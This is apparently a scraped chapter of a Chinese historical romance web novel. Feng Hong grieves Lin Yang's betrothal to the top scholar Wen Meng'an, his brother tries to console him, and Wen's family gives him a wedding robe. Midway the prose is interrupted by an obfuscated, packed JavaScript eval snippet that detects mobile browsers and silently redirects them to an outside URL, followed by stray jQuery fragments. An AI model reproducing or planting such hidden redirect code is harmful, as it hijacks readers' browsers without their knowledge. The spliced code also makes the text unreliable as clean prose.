林漾在两个人火热的目光中淡定地说:“温梦安。”
“而且不出意外的话,今天整个京城的大户人家就都知道此事了。”
*
“是那个新科状元温梦安?”冯国公府里,冯鸿拉着母亲的袖子,急道,“林伯父怎么就定了他?”
冯夫人是看着他长大的,怎会不知道儿子对那林家小姐的心意?但迫于无奈,她只能安慰道,“鸿儿,你知道的,就算不是温梦安也会有别人,你和林漾到底是无缘啊。”
这话又勾起了冯鸿的伤心事,他缓了一会说,“就算漾漾嫁给别人了,我也不会娶妻,我会一直等着她。就算成亲了,他们还能和离,还可能丧夫,只要我等着她,我的心够诚,总有那么一天。”
冯夫人劝道,“鸿儿,你何必这般?那林漾再漂亮、再好,爹和娘就使劲儿给你找更好的。”
冯鸿抬起头,斩钉截铁道,“不要!”
他转身要走。
冯夫人急呼:“你要去哪?”
冯鸿道:“我要去找漾漾说清楚我的心意。”
他来不及换衣服便急着往林国公府赶。冯国公见他慌慌张张跟丢了魂似的,便喝道,“你这般样子是要去哪?”
冯鸿不答,一个劲儿往外走。
冯国公便气势汹汹地抓住他的肩膀。虽说冯鸿也从小练武,但和冯国公这样久经沙场的老将还是比不了的,当即被他遏制在地。
冯夫人出门追他,见到冯国公就跟见到救星似的,”老爷,您快劝劝鸿儿吧,他要去林家找那位林小姐。”
冯国公大怒,一把扭过冯鸿的脸,训斥道,“你这逆子,人家姑娘已经定了亲事,你去做什么?抢亲吗?“
“是又如何?”
冯国公急火攻心,结结实实地给了他一巴掌,“逆子!”
冯夫人心疼孩子,赶紧在一旁说和,“老爷,鸿儿只是想再和林小姐说说话。您是知道的,咱们鸿儿从小就喜欢那林小姐,一下子知道了她的亲事,伤心也是在所难免的。”
冯国公这才松开手,耐心劝道,“那林家小姐的确是好,但是再好,你与她也是不可能的。我知道你不甘心,可是儿啊,命数如此,有些人这辈子注定没有夫妻缘分。”
“来人,看好世子,没我的允许不准世子离府。”
冯鸿眼眶红彤彤的,他笑起来,“你们能把我拘在府里一天,两天,难道还能拘我一辈子吗?”
冯国公走到夫人身边,反而安慰起她,“鸿儿是个倔性子,但等时间一长,感情自然就淡了。世上的事向来如此,没有什么东西能一直不变。”
冯渊原本听说温梦安要成亲了还在替好友高兴,可听到朋友们提起他成亲的对象,冯小公子就再也笑不出来了。
“你说什么?温梦安要和林家小姐成亲?”冯渊眼珠都要惊掉了,“你确定林国公的女儿,林漾姑娘?”
好友抬抬下巴,“京城里有哪家小姐这么有名,不是她还能是谁?要我说这林国公对温梦安可真是不薄,不仅把他当作半个义子教导,现在连女儿都嫁给他了,真可谓是亲上加亲了。”
男子的表情因嫉妒而扭曲,“你说林小姐怎么想的,放着满京城的贵族子弟不要,偏偏看上了那个泥腿子?”
此话算是很恶毒了。
冯渊冷冷道,“就算人家出身不好,但照样把你比下去了。别忘了,今年的状元是他。”
冯渊拂袖而去。
“公子,咱们去哪?”
“回家,看我哥。”
烈日如火,但冯渊心系兄长,因此跑马狂奔匆匆忙忙回到府。等他找哥哥时,这才被管家告知:老爷勒令大公子不许出府。
冯渊小心翼翼地来到了哥哥的院子,立在冯鸿的书房前,轻轻敲门,叫了声:“哥,是我。”
好一会儿,门才打开。冯渊看见他哥眼泡肿的像核桃,桌案上横七竖八地铺着林小姐的画像——从小到大,就连她不在京城的几年他哥也凭郡主的叙述脑补出了心上人的样子。
冯渊和温梦安曾是好友,他不知怎么突然升起一股强烈的负罪感,毕竟最开始是他向温梦安介绍的林漾。
“哥,你别这样。”
冯鸿低笑,“我哪样?你也和爹娘似的觉得我疯了吗?”
冯渊沉声:“哥!”
冯鸿明明是笑着,但冯渊总觉得他哥阴森森的,好像下一秒就要暴起杀了情敌。
不对,称不上情敌,毕竟人家温梦安现在是林漾的正牌丈夫,他哥不过是痴情单相思。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480834|201726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“好了,你也不用劝我了,我现在已经调理好了。”冯鸿扶着柱子慢慢悠悠的起身,“世事无常,谁知道以后会怎么杨?放眼望去,英年早逝的官员不少,年纪轻轻就丧夫的女子也不少。”
疯了,这下子是真疯了……
冯渊不敢再劝,只是问,“哥,你有没有什么话对林小姐说的,我给你带出去。”
冯鸿摇摇头,“我的话要亲自对她说。”他一扭头,突然道,“阿渊,我记得你说过和今年考中一甲的学子很熟,那你认不认识这个温梦安?”
冯渊一时语塞,支支吾吾道,“认识,但不算熟。他家里比较拮据,因此不常和我们一起去喝酒游玩。”
冯鸿对这位新科状元略有耳闻,知道此人出身不好,但未曾想到竟会如此拮据,连和同窗出游的钱都没有。可漾漾是养尊处优惯了的,若是嫁去了那样的家庭,她该吃多少苦啊?
冯鸿想到此处,更加揪心。“那此人人品如何,可曾有过什么侍妾?”
冯渊猛猛摇头,“没有,没有。”
冯鸿皱着的眉头略略放缓,“还好,是个干净的人,勉强够伺候漾漾几年。”
冯渊人都傻了,他哥这样子仿佛是什么正头娘子在给夫君挑选侍妾。他怯生生地转身准备离开,生怕再听到什么震撼的言论。
*
“梦安啊,我和你嫂子也没什么拿的出手的东西送给林小姐。”李氏从柜子最里头上锁的匣子里拿出一件绣好的红色喜服,“这是我和你嫂子早早就准备好的,就等着你成亲嘞。”
一般乡下人家儿女成亲都是要男方家里出喜服的,因此李氏便和赵柔早早做好了。没成想自家孩子有福气,竟然娶了国公府的小姐,那这件衣服大约是用不上了。可为表心意,她们俩还是把东西拿出来了。
温梦安双手接过喜服,笑道,“多谢二婶、多谢大嫂。”他知道以林漾的脾气大抵是看不上这衣服的,但也没必要辜负长辈的心意,他悄悄地把衣服放起来就是了。
至于他们成婚时穿的喜服,他已经花钱让京城上好的铺子赶制了,老板承诺在婚期前一定能做好。
温梦安不得不承认,纵使权衡利弊,纵使他知道林小姐是迫于朝堂形势才会下嫁于他,但他对这件婚竟是期待的。